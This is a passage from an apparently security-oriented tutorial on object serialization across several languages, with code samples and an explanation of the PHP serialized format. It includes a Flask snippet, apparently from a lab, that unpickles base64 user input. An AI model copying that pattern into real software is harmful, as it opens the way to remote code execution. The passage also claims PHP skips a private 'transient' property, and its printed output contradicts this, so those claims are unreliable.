methods on a remote server by sending serialized objects as arguments.</li></ul><h3>Important Considerations</h3><ul><li><strong>Data Integrity</strong>: Serialized data itself is not inherently encrypted or signed, making it susceptible to tampering if not properly secured.</li><li><strong>Compatibility</strong>: Different programming languages and applications may have varying serialization formats, necessitating careful handling to ensure compatibility.</li></ul><h3>Advantages of Serialization</h3><p>Serializing data simplifies several tasks in programming, particularly when dealing with complex data structures.</p><p>Serializing data makes it much simpler to:</p><ul><li>Write complex data to inter-process memory, a file, or a database</li><li>Send complex data, for example, over a network, between different components of an application, or in an API call</li></ul><h3>Serialization code format in different programming language</h3><p>Serialization formats vary across programming languages, each offering different methods and formats</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*V1pqq5Z60DuSxwvfYKzoLg.png" /></figure><p><strong>Java:</strong></p><ul><li><strong>Serialization:</strong> Binary serialization using the Serializable interface.</li><li><strong>Deserialization:</strong> Uses ObjectInputStream for binary deserialization.</li></ul><p><strong>Python:</strong></p><ul><li><strong>Serialization and Deserialization:</strong> Uses pickle for both binary serialization and deserialization.</li></ul><p><strong>JavaScript:</strong></p><ul><li><strong>Serialization:</strong> Text-based serialization using JSON.stringify.</li><li><strong>Deserialization:</strong> Uses JSON.parse for JSON deserialization.</li></ul><p><strong>C#:</strong></p><ul><li><strong>Serialization:</strong> Provides multiple ways to serialize objects, including JSON serialization using System.Text.Json.</li><li><strong>Deserialization:</strong> Uses JsonSerializer.Deserialize for JSON deserialization.</li></ul><p><strong>PHP:</strong></p><ul><li><strong>Serialization and Deserialization:</strong> Uses serialize for string-based serialization and unserialize for string-based deserialization.</li></ul><p><strong>Ruby:</strong></p><ul><li><strong>Serialization and Deserialization:</strong> Uses Marshal for both binary serialization and deserialization.</li></ul><h3>PHP Serialization</h3><p>PHP provides a built-in serialize function for serializing objects to a string format.</p><p><strong>Example 1</strong></p><pre>&lt;?php<br>class Person {<br>    public $name;<br>    public $age;<br><br>    public function __construct($name, $age) {<br>        $this-&gt;name = $name;<br>        $this-&gt;age = $age;<br>    }<br>}<br><br>$person = new Person(&quot;Alice&quot;, 30);<br><br>// Serialize<br><br>$serializedPerson = serialize($person);<br>echo $serializedPerson . &quot;\n&quot;;<br><br>// Deserialize<br><br>$deserializedPerson = unserialize($serializedPerson);<br>echo &quot;Name: &quot; . $deserializedPerson-&gt;name . &quot;, Age: &quot; . $deserializedPerson-&gt;age;<br><br>?&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQ7BLqBTEoACB6Bkx0ZYWw.png" /></figure><p><strong>Example 2</strong></p><pre>&lt;?php<br>class User {<br>    public $id = 12;<br>    public $fname = &quot;john&quot;;<br>    public $lname = &quot;doe&quot;;<br>    public $arr = array();<br>    <br>    public function __construct() {<br>        echo &quot;[*] Constructor Called\n&quot;;<br>        $this-&gt;arr[1] = &#39;new entry&#39;;<br>    }<br>}<br><br>$u = new User;<br><br>// Serialize<br>echo &quot;[*] Serialized class:\n\n&quot;;<br>$u_serialized = serialize($u);  <br>echo $u_serialized.&quot;\n\n&quot;;    <br><br>// Deserialize<br>echo &quot;[*] Unserialized class:\n\n&quot;;<br>$u = unserialize($u_serialized);<br>echo &quot;First Name: &quot; . $u-&gt;fname . &quot;\n&quot;;<br>echo &quot;Last Name: &quot; . $u-&gt;lname . &quot;\n&quot;;<br>echo &quot;ID: &quot; . $u-&gt;id . &quot;\n&quot;;<br>echo &quot;Array content at index 1: &quot; . $u-&gt;arr[1] . &quot;\n&quot;;<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQhCgyWsC5PMwwGPy4NHvA.png" /></figure><pre>O:4:&quot;User&quot;:4:{s:2:&quot;id&quot;;i:12;s:5:&quot;fname&quot;;s:4:&quot;john&quot;;s:5:&quot;lname&quot;;s:3:&quot;doe&quot;;s:3:&quot;arr&quot;;a:1:{i:1;s:9:&quot;new entry&quot;;}}</pre><p><a href="https://github.com/hackersvaultar/Php_Unserialize">GitHub - hackersvaultar/Php_Unserialize</a></p><p><strong>Note that only the data “</strong><em>attributes or fields of an object</em><strong>” is serialized, not the entire code or functions associated with the object.<br></strong>By considering that, you can not define a method or new methods in the serialized data</p><p>Since you cannot define new functions within the serialized data, any attack that involves manipulating object behavior would require the exploitation of pre-existing methods in the class definition.</p><p>Magic function self called without any objects</p><p>__sleep in the serialization process</p><p>__wakeup in deserialization process</p><p><a href="https://www.php.net/manual/en/language.oop5.magic.php">PHP: Magic Methods - Manual</a></p><h3>Java Serialization</h3><p>Java provides a built-in mechanism for object serialization using the Serializable interface. The default format is binary. Additionally, the ObjectInputStream class is used for deserializing objects.</p><pre><br>// app1.java<br><br>import java.io.*; <br>// Serializable is one package of java.io &quot;java.io.Serializable&quot;<br><br>class Person implements Serializable {<br>    private static final long serialVersionUID = 1L;<br>    String name;<br>    int age;<br><br>    public Person(String name, int age) {<br>        this.name = name;<br>        this.age = age;<br>    }<br>}<br><br>// SerializationExample.java<br><br>import java.io.*; <br><br>public class SerializationExample {<br>    public static void main(String[] args) {<br>        Person person = new Person(&quot;Alice&quot;, 30);<br><br>        // Serialize<br>        try (FileOutputStream fileOut = new FileOutputStream(&quot;person.ser&quot;);<br>             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {<br>            out.writeObject(person);<br>        } catch (IOException i) {<br>            i.printStackTrace();<br>        }<br><br>        // Deserialize<br>        Person deserializedPerson = null;<br>        try (FileInputStream fileIn = new FileInputStream(&quot;person.ser&quot;);<br>             ObjectInputStream in = new ObjectInputStream(fileIn)) {<br>            deserializedPerson = (Person) in.readObject();<br>        } catch (IOException | ClassNotFoundException e) {<br>            e.printStackTrace();<br>        }<br>    System.out.println(&quot;Serialized data saved to person.ser&quot;);<br>        System.out.println(&quot;Name: &quot; + deserializedPerson.name + &quot;, Age: &quot; + deserializedPerson.age);<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0WZbIxSqZp3K5KtLbdu0Qw.png" /></figure><pre>// app2.java<br><br>import java.io.*;<br><br>// User class <br>class User implements Serializable {<br>    private static final long serialVersionUID = 1L;<br>    String username;<br>    int salary;<br><br>    public User(String username, int salary) {<br>        this.username = username;<br>        this.salary = salary;<br>    }<br>}<br><br>// JavaSerialization.java  <br><br>import java.io.*;<br>public class JavaSerialization {<br><br>    public static void main(String[] args) {<br>        // Create a new User object<br>        User user = new User(&quot;john_doe&quot;, 50000);<br><br>        // Serialize the User object<br>        try (FileOutputStream fileOut = new FileOutputStream(&quot;user.ser&quot;);<br>             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {<br>            out.writeObject(user);<br>        } catch (IOException e) {<br>            e.printStackTrace();<br>        }<br><br>        // Deserialize the User object<br>        User deserializedUser = null;<br>        try (FileInputStream fileIn = new FileInputStream(&quot;user.ser&quot;);<br>             ObjectInputStream in = new ObjectInputStream(fileIn)) {<br>            deserializedUser = (User) in.readObject();<br>        } catch (IOException | ClassNotFoundException e) {<br>            e.printStackTrace();<br>        }<br><br>        // Print out the deserialized User object<br>        if (deserializedUser != null) {<br>            System.out.println(&quot;Username: &quot; + deserializedUser.username + &quot;, Salary: &quot; + deserializedUser.salary);<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCvPYUH7OLLhBmhzNRKAAA.png" /></figure><h3>C# Serialization</h3><p>C sharp provides multiple ways to serialize and deserialize objects, each with its own use cases and associated formats, including binary, XML, and JSON.</p><p><strong>Note that:</strong> <em>Data serialized using one of these mechanisms must be de serialized using the same one.</em></p><h4>Methods of Serialization in .NET</h4><ol><li><strong>BinaryFormatter</strong></li><li><strong>DataContractSerializer</strong></li><li><strong>NetDataContractSerializer</strong></li><li><strong>XML Serialization</strong></li></ol><p>Each of these methods results in a different format of a serialized object. Each serialization type is directly connected to certain supported objects and types, with their usage being situational and tied to .NET internals.</p><h4>BinaryFormatter</h4><p>Commonly used for binary serialization; however, its use is now discouraged due to security concerns.</p><p><strong>Example 1</strong></p><pre>using System;<br>using System.IO;<br>using System.Runtime.Serialization.Formatters.Binary;<br><br>[Serializable]<br>public class Person {<br>    public string? Name { get; set; }<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize<br>        BinaryFormatter formatter = new BinaryFormatter();<br>        using (MemoryStream stream = new MemoryStream()) {<br>            formatter.Serialize(stream, person);<br>            byte[] byteArray = stream.ToArray();<br>            Console.WriteLine(&quot;Serialized binary data: &quot; + BitConverter.ToString(byteArray));<br><br>            // Deserialize<br>            stream.Position = 0; // Reset stream position to the beginning<br>            Person deserializedPerson = (Person)formatter.Deserialize(stream);<br>            Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yF9GFrAG3Z1-54RLuKL2iw.png" /><figcaption>BinaryFormatter security concern</figcaption></figure><pre>using System;<br>using System.IO;<br>using System.Runtime.Serialization.Formatters.Binary;<br><br>[Serializable]<br>public class Person {<br>    public string? Name { get; set; }<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize<br>        #pragma warning disable SYSLIB0011<br>        BinaryFormatter formatter = new BinaryFormatter();<br>        using (MemoryStream stream = new MemoryStream()) {<br>            formatter.Serialize(stream, person);<br>            #pragma warning restore SYSLIB0011<br><br>            byte[] byteArray = stream.ToArray();<br>            Console.WriteLine(&quot;Serialized binary data: &quot; + BitConverter.ToString(byteArray));<br><br>            // Deserialize<br>            #pragma warning disable SYSLIB0011<br>            stream.Position = 0; // Reset stream position to the beginning<br>            Person deserializedPerson = (Person)formatter.Deserialize(stream);<br>            #pragma warning restore SYSLIB0011<br><br>            Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yyjPiA76kli3Tc83Px4_Q.png" /><figcaption>After suppress the warnings</figcaption></figure><p><strong>Example 2</strong></p><pre>using System;<br>using System.IO;<br>using System.Runtime.Serialization.Formatters.Binary;<br><br>namespace BinarySerializationExample<br>{<br>    class Program<br>    {<br>        private const string filename = &quot;data.dat&quot;;<br><br>        static void Main(string[] args)<br>        {<br>            Console.WriteLine();<br>            <br>            // Delete old file, if it exists<br>            if (File.Exists(filename))<br>            {<br>                Console.WriteLine(&quot;Deleting old file&quot;);<br>                File.Delete(filename);<br>            }<br><br>            // Create string<br>            var u = &quot;Some String here&quot;;<br>            <br>            // Persist to file<br>            using (FileStream stream = File.Create(filename))<br>            {<br>                #pragma warning disable SYSLIB0011<br>                BinaryFormatter formatter = new BinaryFormatter();<br>                Console.WriteLine(&quot;Serializing string&quot;);<br>                formatter.Serialize(stream, u);<br>                #pragma warning restore SYSLIB0011 <br>            }<br><br>            // Restore from file<br>            using (FileStream stream = File.OpenRead(filename))<br>            {<br>                #pragma warning disable SYSLIB0011<br>                BinaryFormatter formatter = new BinaryFormatter();<br>                Console.WriteLine(&quot;Deserializing string&quot;);<br>                var v = (string)formatter.Deserialize(stream);<br>                Console.WriteLine($&quot;Deserialized string: {v}&quot;);<br>                #pragma warning restore SYSLIB0011<br>            }<br><br>            Console.WriteLine();<br>            Console.WriteLine(&quot;Press Enter Key&quot;);<br>            Console.Read();<br>        } // Main<br>    } // class<br>} // namespace</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBgY3f0ikSHc3wnA0nBzIg.png" /></figure><p>If you need to serialize data in a binary format securely, consider using System.IO.MemoryStream combined with System.Text.Json to convert JSON to bytes. Although this approach won&#39;t produce the same binary format as BinaryFormatter, it is more secure.</p><h4>DataContractSerializer</h4><p>A versatile serializer for XML and binary formats, suitable for complex types including those with inheritance and polymorphism.</p><pre>using System;<br>using System.IO;<br>using System.Runtime.Serialization;<br><br>[DataContract]<br>public class Person {<br>    [DataMember]<br>    public string? Name { get; set; }<br>    [DataMember]<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize<br>        DataContractSerializer serializer = new DataContractSerializer(typeof(Person));<br>        using (MemoryStream stream = new MemoryStream()) {<br>            serializer.WriteObject(stream, person);<br>            byte[] byteArray = stream.ToArray();<br>            Console.WriteLine(&quot;Serialized binary data: &quot; + BitConverter.ToString(byteArray));<br><br>            // Deserialize<br>            stream.Position = 0; // Reset stream position to the beginning<br>            Person? deserializedPerson = serializer.ReadObject(stream) as Person;<br>            if (deserializedPerson != null) {<br>                Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>            } else {<br>                Console.WriteLine(&quot;Deserialization failed.&quot;);<br>            }<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xxB__ttj7fO6TJj3JHu5Tw.png" /></figure><p>The most common way is using the System.Text.Json namespace for JSON serialization or System.Xml.Serialization for XML tasks</p><pre>using System;<br>using System.IO;<br>using System.Text.Json;<br><br>public class Person {<br>    public string? Name { get; set; }<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize<br>        string jsonString = JsonSerializer.Serialize(person);<br>        Console.WriteLine(jsonString);<br><br>        // Deserialize<br>        Person? deserializedPerson = JsonSerializer.Deserialize&lt;Person&gt;(jsonString);<br>        if (deserializedPerson != null) {<br>            Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RzILXHO0iXAPZFoTz0l7Aw.png" /></figure><pre>using System;<br>using System.IO;<br>using System.Xml.Serialization;<br><br>public class Person {<br>    public string? Name { get; set; }<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize to XML<br>        XmlSerializer serializer = new XmlSerializer(typeof(Person));<br>        using (StringWriter writer = new StringWriter()) {<br>            serializer.Serialize(writer, person);<br>            string xmlString = writer.ToString();<br>            Console.WriteLine(&quot;Serialized XML:&quot;);<br>            Console.WriteLine(xmlString);<br><br>            // Deserialize from XML<br>            using (StringReader reader = new StringReader(xmlString)) {<br>                Person? deserializedPerson = (Person?)serializer.Deserialize(reader);<br>                if (deserializedPerson != null) {<br>                    Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>                }<br>            }<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-dz5DiuuNbEvQOsXghbog.png" /></figure><h4>NetDataContractSerializer</h4><p>Similar to DataContractSerializer but includes CLR type information in the serialized XML but, It is tightly coupled with .NET types, making it less suitable for interoperability scenarios.</p><pre>using System;<br>using System.IO;<br>using System.Runtime.Serialization;<br><br>[DataContract]<br>public class Person {<br>    [DataMember]<br>    public string? Name { get; set; }<br>    [DataMember]<br>    public int Age { get; set; }<br>}<br><br>public class Program {<br>    public static void Main() {<br>        Person person = new Person { Name = &quot;Alice&quot;, Age = 30 };<br><br>        // Serialize<br>        DataContractSerializer serializer = new DataContractSerializer(typeof(Person));<br>        using (MemoryStream stream = new MemoryStream()) {<br>            serializer.WriteObject(stream, person);<br>            byte[] byteArray = stream.ToArray();<br>            string xmlString = System.Text.Encoding.UTF8.GetString(byteArray);<br>            Console.WriteLine(&quot;Serialized XML with DataContractSerializer:&quot;);<br>            Console.WriteLine(xmlString);<br><br>            // Deserialize<br>            stream.Position = 0; // Reset stream position to the beginning<br>            Person? deserializedPerson = serializer.ReadObject(stream) as Person;<br>            if (deserializedPerson != null) {<br>                Console.WriteLine($&quot;Name: {deserializedPerson.Name}, Age: {deserializedPerson.Age}&quot;);<br>            } else {<br>                Console.WriteLine(&quot;Deserialization failed.&quot;);<br>            }<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GlJFh3fiOITx9qfl-TeuQg.png" /></figure><h3>Python Serialization</h3><p>Python uses the pickle module for object serialization, which converts objects to a binary format.</p><pre>import pickle<br><br>class Person:<br>    def __init__(self, name, age):<br>        self.name = name<br>        self.age = age<br><br>person = Person(&quot;Alice&quot;, 30)<br><br># Serialize<br>with open(&#39;person.pkl&#39;, &#39;wb&#39;) as f:<br>    pickle.dump(person, f)<br><br># Deserialize<br>with open(&#39;person.pkl&#39;, &#39;rb&#39;) as f:<br>    deserialized_person = pickle.load(f)<br><br>print(f&quot;Name: {deserialized_person.name}, Age: {deserialized_person.age}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ShRWbEFWGUpCMzl_OeQ0w.png" /></figure><pre>import pickle<br>import base64<br><br>...<br>serialized_data = request.form[&#39;serialized_data&#39;]<br>notes_obj = pickle.loads(base64.b64decode(serialized_data))<br>message = &quot;Notes successfully unpickled.&quot;<br>...<br><br>elif request.method == &#39;POST&#39;:<br>    if &#39;pickle&#39; in request.form:<br>        content = request.form[&#39;note_content&#39;]<br>        notes_obj.add_note(content)<br>        pickled_content = pickle.dumps(notes_obj)<br>        serialized_data = base64.b64encode(pickled_content).decode(&#39;utf-8&#39;)<br>        binary_data = &#39; &#39;.join(f&#39;{x:02x}&#39; for x in pickled_content)<br>        message = &quot;Notes pickled successfully.&quot;</pre><p>Serialization (Pickling) : When a user submits a note, the Notes class instance (including all notes) is serialised using pickle.dumps(). This function transforms the Python object into a binary format that Python can later turn back into an object.</p><p>Deserialization (Unpickling) : The binary data is then passed to pickle.loads(), which reconstructs the original Python object from the binary stream.</p><h3>JavaScript (JSON) Serialization</h3><p>JavaScript typically uses JSON (JavaScript Object Notation) for serialization. JSON is a text-based format that’s easy to read and write.</p><pre>const person = {<br>    name: &quot;Alice&quot;,<br>    age: 30<br>};<br><br>// Serialize<br>const jsonString = JSON.stringify(person);<br>console.loag(jsonString);<br><br>// Deserialize<br>const deserializedPerson = JSON.parse(jsonString);<br>console.log(`Name: ${deserializedPerson.name}, Age: ${deserializedPerson.age}`);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yT7iQKkr_0Q6vsPLHS7OvQ.png" /></figure><h3>Ruby Serialization</h3><p>Ruby uses the Marshal module for binary serialization.</p><pre>require &#39;base64&#39;<br><br>class Person<br>  attr_accessor :name, :age<br><br>  def initialize(name, age)<br>    @name = name<br>    @age = age<br>  end<br>end<br><br>person = Person.new(&quot;Alice&quot;, 30)<br><br># Serialize to binary<br>serialized_binary = Marshal.dump(person)<br>puts &quot;Serialized (Binary):&quot;<br>puts serialized_binary<br><br># Serialize to Base64<br>serialized_base64 = Base64.strict_encode64(Marshal.dump(person))<br>puts &quot;\nSerialized (Base64):&quot;<br>puts serialized_base64<br><br># Deserialization<br>deserialized_person_binary = Marshal.load(serialized_binary)<br>puts &quot;\nDeserialized from Binary:&quot;<br>puts &quot;Name: #{deserialized_person_binary.name}, Age: #{deserialized_person_binary.age}&quot;<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uguGOh1cXTiGPQ72N_Uqvg.png" /></figure><h3>Marking specific field from been serialized</h3><blockquote>Note that all of the original object’s attributes are stored in the serialized data stream, including any private fields.</blockquote><p>To prevent a field from being serialized, it must be identified in the coding process while class declaration .</p><p>In Java and Kotlin you can explicitly mark it as transient to prevent it from being serialized</p><pre>import java.io.Serializable;<br><br>public class User implements Serializable {<br>    private String name;<br>    private int age;<br>    private transient String password; // This field will not be serialized<br><br>    public User(String name, int age, String password) {<br>        this.name = name;<br>        this.age = age;<br>        this.password = password;<br>    }<br><br>}</pre><pre>import java.io.Serializable<br><br>data class User(<br>    val name: String,<br>    val age: Int,<br>    @Transient val password: String // This field will not be serialized<br>) : Serializable</pre><p>In C# you can use [NonSerialized]</p><pre>[Serializable]<br>public class User {<br>    public string Name;<br>    public int Age;<br>    [NonSerialized] public string Password; // This field will not be serialized<br><br>    public User(string name, int age, string password) {<br>        Name = name;<br>        Age = age;<br>        Password = password;<br>    }<br>}</pre><p>In Python you can control it by defining __getstate__ and __setstate__ The __getstate__ method can exclude certain attributes from being serialized.</p><pre>import pickle<br><br>class User:<br>    def __init__(self, name, age, password):<br>        self.name = name<br>        self.age = age<br>        self._password = password  # This field will not be serialized<br><br>    def __getstate__(self):<br>        state = self.__dict__.copy()<br>        del state[&#39;_password&#39;]  # Exclude the password field<br>        return state<br><br>    def __setstate__(self, state):<br>        self.__dict__.update(state)<br><br># Example usage<br>user = User(&quot;Alice&quot;, 30, &quot;secret&quot;)<br>serialized_data = pickle.dumps(user)</pre><p>In JavaScript, particularly with JSON serialization, you can control which properties get serialized by defining a custom toJSON method.</p><pre>class User {<br>    constructor(name, age, password) {<br>        this.name = name;<br>        this.age = age;<br>        this._password = password; // This field will not be serialized<br>    }<br><br>    toJSON() {<br>        return {<br>            name: this.name,<br>            age: this.age<br>            // Exclude the password field<br>        };<br>    }<br>}<br><br>const user = new User(&quot;Bob&quot;, 25, &quot;secret&quot;);<br>const serializedData = JSON.stringify(user);<br>console.log(serializedData); // Output: {&quot;name&quot;:&quot;Bob&quot;,&quot;age&quot;:25}</pre><h3>Serialized data format explain</h3><h4>PHP Serialization Format</h4><p>PHP uses a mostly human-readable string format, with letters representing the data type and numbers representing the length of each entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AC8k5I27-HAeREZlxtsp8g.png" /></figure><pre>╔═══════════╦═══════════════════════════════════════════════════════════╦═════════════════════════════════════════╦══════════════════════════════════════╗<br>║ Type      ║ Format                                                    ║ Example                                 ║                                      ║<br>╠═══════════╬═══════════════════════════════════════════════════════════╬═════════════════════════════════════════╬══════════════════════════════════════╣<br>║ String    ║ s:&lt;length&gt;:&quot;&lt;value&gt;&quot;;                                     ║ s:12:&quot;Welcome to THM!&quot;;                 ║                                      ║<br>║ Integer   ║ i:&lt;value&gt;;                                                ║ i:42;                                   ║                                      ║<br>║ Float     ║ d:&lt;value&gt;;                                                ║ d:3.14;                                 ║                                      ║<br>║ Boolean   ║ b:&lt;value&gt;; (1 for true, 0 for false)                      ║ b:1;                                    ║                                      ║<br>║ Null      ║ N;                                                        ║ N;                                      ║                                      ║<br>║ Array     ║ a:&lt;length&gt;:{&lt;key&gt;&lt;value&gt;...}                              ║ a:2:{i:0;s:5:&quot;apple&quot;;i:1;s:6:&quot;banana&quot;;} ║                                      ║<br>║ Object    ║ O:&lt;length&gt;:&quot;&lt;class_name&gt;&quot;:&lt;length&gt;:{&lt;property&gt;&lt;value&gt;...} ║ O:8:&quot;stdClass&quot;:1:{s:3:&quot;foo&quot;;s:3:&quot;bar&quot;;} ║                                      ║<br>║ Reference ║ R:&lt;ref_id&gt;;                                               ║ R:2;                                    ║                                      ║<br>║ Resource  ║ r:&lt;resource_id&gt;;                                          ║ r:3;                                    ║ (Unsupported in modern PHP versions) ║<br>╚═══════════╩═══════════════════════════════════════════════════════════╩═════════════════════════════════════════╩══════════════════════════════════════╝</pre><p>Notes:</p><ul><li>Properties in serialized PHP objects affect &lt;s&gt; value:</li><li>Public properties use the simple property name.</li><li>Protected properties prepend \0*\0 to the property name.</li><li>Private properties prepend \0&lt;class&gt;\0&lt;s&gt;\0, where &lt;class&gt; is the fully qualified class name.</li></ul><p><strong>Example 1</strong></p><pre>O:4:&quot;user&quot;:6:{s:8:&quot;username&quot;;s:4:&quot;zyad&quot;;s:6:&quot;salary&quot;;i:20000;s:8:&quot;isActive&quot;;b:1;s:7:&quot;balance&quot;;d:1234.56;s:5:&quot;notes&quot;;N;s:11:&quot;preferences&quot;;a:2:{s:5:&quot;theme&quot;;s:4:&quot;dark&quot;;s:8:&quot;language&quot;;s:2:&quot;en&quot;;}}</pre><p><strong>Explanation:</strong></p><ul><li>O:4:&quot;user&quot;:6: An object (O) of class user with 4 characters in its name and 6 properties.</li><li>s:8:&quot;username&quot;;s:4:&quot;zyad&quot;: A string property named username with a value of &quot;zyad&quot;.</li><li>s:6:&quot;salary&quot;;i:20000: An integer property named salary with a value of 20000.</li><li>s:8:&quot;isActive&quot;;b:1: A boolean property named isActive with a value of true.</li><li>s:7:&quot;balance&quot;;d:1234.56: A float property named balance with a value of 1234.56.</li><li>s:5:&quot;notes&quot;;N: A null property named notes.</li><li>s:11:&quot;preferences&quot;;a:2:{s:5:&quot;theme&quot;;s:4:&quot;dark&quot;;s:8:&quot;language&quot;;s:2:&quot;en&quot;;}: An array property named preferences with 2 elements: &quot;theme&quot; =&gt; &quot;dark&quot; and &quot;language&quot; =&gt; &quot;en&quot;.</li></ul><p><strong>After Reconstruction</strong></p><pre>&lt;?php<br>class user {<br>    public $username;<br>    public $salary;<br>    public $isActive;<br>    public $balance;<br>    public $notes;<br>    public $preferences;<br>}<br><br>$obj = new user();<br>$obj-&gt;username = &quot;zyad&quot;;  // String<br>$obj-&gt;salary = 20000;         // Integer<br>$obj-&gt;isActive = true;       // Boolean<br>$obj-&gt;balance = 1234.56;     // Float<br>$obj-&gt;notes = null;          // Null<br>$obj-&gt;preferences = [        // Array<br>    &quot;theme&quot; =&gt; &quot;dark&quot;,<br>    &quot;language&quot; =&gt; &quot;en&quot;<br>];<br><br>$serializedData = serialize($obj);<br>echo $serializedData;<br>?&gt;</pre><p>Example 2</p><pre>&lt;?php<br>class UserProfile {<br>    public $name;<br>    public $age;<br>    public $email;<br>    public $isAdmin;<br>    public $accountBalance;<br>    public $bio;<br>    public $preferences;<br>    public $reference;<br>    private $password; // Transient property<br>    protected $sessionToken; // Protected property<br>    public $resource; // Resource type (unsupported in modern PHP versions)<br><br>    // Constructor to initialize properties<br>    public function __construct() {<br>        $this-&gt;name = &quot;Jane Doe&quot;; // String<br>        $this-&gt;age = 28; // Integer<br>        $this-&gt;email = &quot;jane.doe@example.com&quot;; // String<br>        $this-&gt;isAdmin = true; // Boolean<br>        $this-&gt;accountBalance = 1500.75; // Float<br>        $this-&gt;bio = null; // Null<br>        $this-&gt;preferences = [ // Array<br>            &quot;theme&quot; =&gt; &quot;dark&quot;,<br>            &quot;language&quot; =&gt; &quot;en&quot;<br>        ];<br>        $this-&gt;reference = &amp;$this-&gt;age; // Reference to another property<br>        $this-&gt;password = &quot;superSecretPassword&quot;; // Transient property, not serialized<br>        $this-&gt;sessionToken = &quot;abc123&quot;; // Protected property<br>        $this-&gt;resource = tmpfile(); // Resource type<br>    }<br><br>    // Destructor to close resource<br>    public function __destruct() {<br>        fclose($this-&gt;resource);<br>    }<br>}<br><br>// Create an instance of the UserProfile class<br>$obj = new UserProfile();<br><br>// Serialize the object<br>$serializedData = serialize($obj);<br>echo $serializedData;<br>?&gt;</pre><pre>O:11:&quot;UserProfile&quot;:11:{s:4:&quot;name&quot;;s:12:&quot;Zyad Elsayed&quot;;s:3:&quot;age&quot;;i:20;s:5:&quot;email&quot;;s:20:&quot;c3rb3rus@example.com&quot;;s:7:&quot;isAdmin&quot;;b:1;s:14:&quot;accountBalance&quot;;d:1500.75;s:3:&quot;bio&quot;;N;s:11:&quot;preferences&quot;;a:2:{s:5:&quot;theme&quot;;s:4:&quot;dark&quot;;s:8:&quot;language&quot;;s:2:&quot;en&quot;;}s:9:&quot;reference&quot;;R:3;s:21:&quot;UserProfilepassword&quot;;s:19:&quot;superSecretPassword&quot;;s:15:&quot;*sessionToken&quot;;s:6:&quot;abc123&quot;;s:8:&quot;resource&quot;;i:0;}</pre><ul><li>O:11:&quot;UserProfile&quot;:10: An object (O) of class UserProfile with 11 characters in its name and 10 properties.</li><li>s:4:&quot;name&quot;;s:12:&quot;Zyad Elsayed&quot;;: A string property named name with a value of &quot;Zyad Elsayed&quot;.</li><li>s:3:&quot;age&quot;;i:20: An integer property named age with a value of 20.</li><li>s:5:&quot;email&quot;;s:20:&quot;c3rb3rus@example.com&quot;: A string property named email with a value of &quot;c3rb3rus@example.com&quot;.</li><li>s:7:&quot;isAdmin&quot;;b:1: A boolean property named isAdmin with a value of true.</li><li>s:14:&quot;accountBalance&quot;;d:1500.75: A float property named accountBalance with a value of 1500.75.</li><li>s:3:&quot;bio&quot;;N: A null property named bio.</li><li>s:11:&quot;preferences&quot;;a:2:{s:5:&quot;theme&quot;;s:4:&quot;dark&quot;;s:8:&quot;language&quot;;s:2:&quot;en&quot;;}: An array property named preferences with 2 elements: &quot;theme&quot; =&gt; &quot;dark&quot; and &quot;language&quot; =&gt; &quot;en&quot;.</li><li>s:9:&quot;reference&quot;;R:2: A reference property named reference that points to the second serialized element (age).</li><li>s:13:&quot;sessionToken&quot;;s:6:&quot;abc123&quot;: A protected string property named sessionToken with a value of &quot;abc123&quot;.</li></ul><p>The transient property password and the resource property resource are not included in the serialized output.</p><h4>Java Serialization Format</h4><p>Some programming languages, such as Java, use binary serialization formats. These formats are more challenging to read compared to text-based serialization, but recognizing serialized data is possible if you know the key indicators. For example:</p><ul><li>Serialized Java objects always start with a consistent sequence of bytes: ac ed in hexadecimal.</li><li>When encoded in Base64, this sequence appears as rO0.</li></ul><p>In Java, any class that implements the java.io.Serializable interface can be serialized and deserialized. If you have access to the source code, look for any use of the readObject() method. This method is critical as it reads and deserialize data from an InputStream.</p><pre>import java.io.*;<br><br>public class Person implements Serializable {<br>    private static final long serialVersionUID = 1L;<br>   